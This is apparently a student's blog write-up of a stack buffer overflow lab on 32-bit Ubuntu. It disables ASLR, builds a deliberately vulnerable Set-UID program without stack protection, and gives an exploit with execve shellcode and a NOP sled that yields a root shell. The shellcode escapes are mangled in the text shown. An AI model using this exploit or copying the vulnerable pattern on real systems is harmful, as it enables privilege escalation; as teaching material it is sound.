zoukankan      html  css  js  c++  java
  • 缓冲区溢出实验

    缓冲区溢出实验

    实验原理

    • 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

    实验准备

    • 本次实验使用的是实验楼提供的 64 位 Ubuntu linux,而本次实验为了方便观察汇编语句,我们需要在 32 位环境下作操作,因此实验之前需要做一些准备。
    • 输入命令安装一些用于编译 32 位 C 程序的软件包:
    sudo apt-get update
    sudo apt-get install -y lib32z1 libc6-dev-i386 lib32readline6-dev
    sudo apt-get install -y python3.6-gdbm gdb
    

    实验步骤

    1. Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:
      sudo sysctl -w kernel.randomize_va_space=0
    2. 此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash 中实现。
    • linux 系统中,/bin/sh 实际是指向 /bin/bash 或 /bin/dash 的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash。下面的指令描述了如何设置 zsh 程序:
    sudo su
    cd /bin
    rm sh
    ln -s zsh sh
    exit
    

    1. 输入命令 linux32 进入32位linux环境。此时你会发现,命令行用起来没那么爽了,比如不能tab补全了,输入 /bin/bash 使用bash:
    • 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就shellcode。
      观察以下代码:
    #include <stdio.h>
    int main()
    {
        char *name[2];
        name[0] = "/bin/sh";
        name[1] = NULL;
        execve(name[0], name, NULL);
    }
    

    本次实验的 shellcode,就是刚才代码的汇编版本:
    x31xc0x50x68"//sh"x68"/bin"x89xe3x50x53x89xe1x99xb0x0bxcdx80

    1. 在 /tmp 目录下新建一个 stack.c 文件:
    cd /tmp
    vim stack.c
    

    /* stack.c */
    
    /* This program has a buffer overflow vulnerability. */
    /* Our task is to exploit this vulnerability */
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    int bof(char *str)
    {
        char buffer[12];
    
        /* The following statement has a buffer overflow problem */ 
        strcpy(buffer, str);
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
    
        printf("Returned Properly
    ");
        return 1;
    }
    
    • 通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

    • 编译该程序,并设置 SET-UID。命令如下:

    sudo su
    gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
    chmod u+s stack
    exit
    

    • GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。 而 -z execstack 用于允许执行栈。
    • -g 参数是为了使编译后得到的可执行文档能用 gdb 调试。
    1. 我们的目的是攻击刚才的漏洞程序,并通过攻击获得 root 权限。
    • 在 /tmp 目录下新建一个 exploit.c 文件,输入如下内容:
    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[] =
        "x31xc0" //xorl %eax,%eax
        "x50"     //pushl %eax
        "x68""//sh" //pushl $0x68732f2f
        "x68""/bin"     //pushl $0x6e69622f
        "x89xe3" //movl %esp,%ebx
        "x50"     //pushl %eax
        "x53"     //pushl %ebx
        "x89xe1" //movl %esp,%ecx
        "x99"     //cdq
        "xb0x0b" //movb $0x0b,%al
        "xcdx80" //int $0x80
        ;
    
    void main(int argc, char **argv)
    {
        char buffer[517];
        FILE *badfile;
    
        /* Initialize buffer with 0x90 (NOP instruction) */
        memset(&buffer, 0x90, 517);
    
        /* You need to fill the buffer with appropriate contents here */
        strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");   //在buffer特定偏移处起始的四个字节覆盖sellcode地址  
        strcpy(buffer + 100, shellcode);   //将shellcode拷贝至buffer,偏移量设为了 100
    
        /* Save the contents to the file "badfile" */
        badfile = fopen("./badfile", "w");
        fwrite(buffer, 517, 1, badfile);
        fclose(badfile);
    }
    

    或者也可以直接下载代码:
    wget http://labfile.oss.aliyuncs.com/courses/231/exploit.c

    • 注意上面的代码,x??x??x??x?? 处需要添上 shellcode 保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode 保存在 buffer + 100 的位置。
    • 下面将详细介绍如何获得我们需要添加的地址。
    • 现在我们要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
    gdb stack
    disass main
    

    结果如图:

    • esp 中就是 str 的起始地址,所以我们在地址 0x080484ee 处设置断点。
    • 地址可能不一致,请根据你的显示结果自行修改。
    • 接下来的操作:
    # 设置断点
    b *0x080484ee
    r
    i r $esp
    

    • 最后获得的这个 0xffffcfb0 就是 str 的地址。

    • 按 q 键,再按 y 键可退出调试。

    • 根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffcfb0 + 0x64 = 0xffffd014

    • 实际操作中你的地址和我这里的地址可能不一样,需要根据你实际输出的结果来计算。

    • 可以使用 十六进制加法计算器 计算。

    • 现在修改 exploit.c 文件,将 x??x??x??x?? 修改为计算的结果 x14xd0xffxff,注意顺序是反的。

    • 然后,编译 exploit.c 程序:
      gcc -m32 -o exploit exploit.c

    1. 先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:

    • 可见,通过攻击,获得了root 权限!
    • 如果不能攻击成功,提示”段错误“,那么请重新使用 gdb 反汇编,计算内存地址。

    练习

    • 通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
    • 可以看出攻击未成功
  • 相关阅读:
    第五周学习总结
    第四周学习总结
    第三周学习总结
    第二周学习总结
    读《程序是怎样跑起来的》第十二章有感
    读《程序是怎样跑起来的》第十一章有感
    读《程序是怎样跑起来的》第十章有感
    读《程序是怎样跑起来的》第九章有感
    《程序是怎样跑起来的》第九章
    《程序是怎样跑起来的》第八章
  • 原文地址:https://www.cnblogs.com/dongjiashuai/p/15477525.html
Copyright © 2011-2022 走看看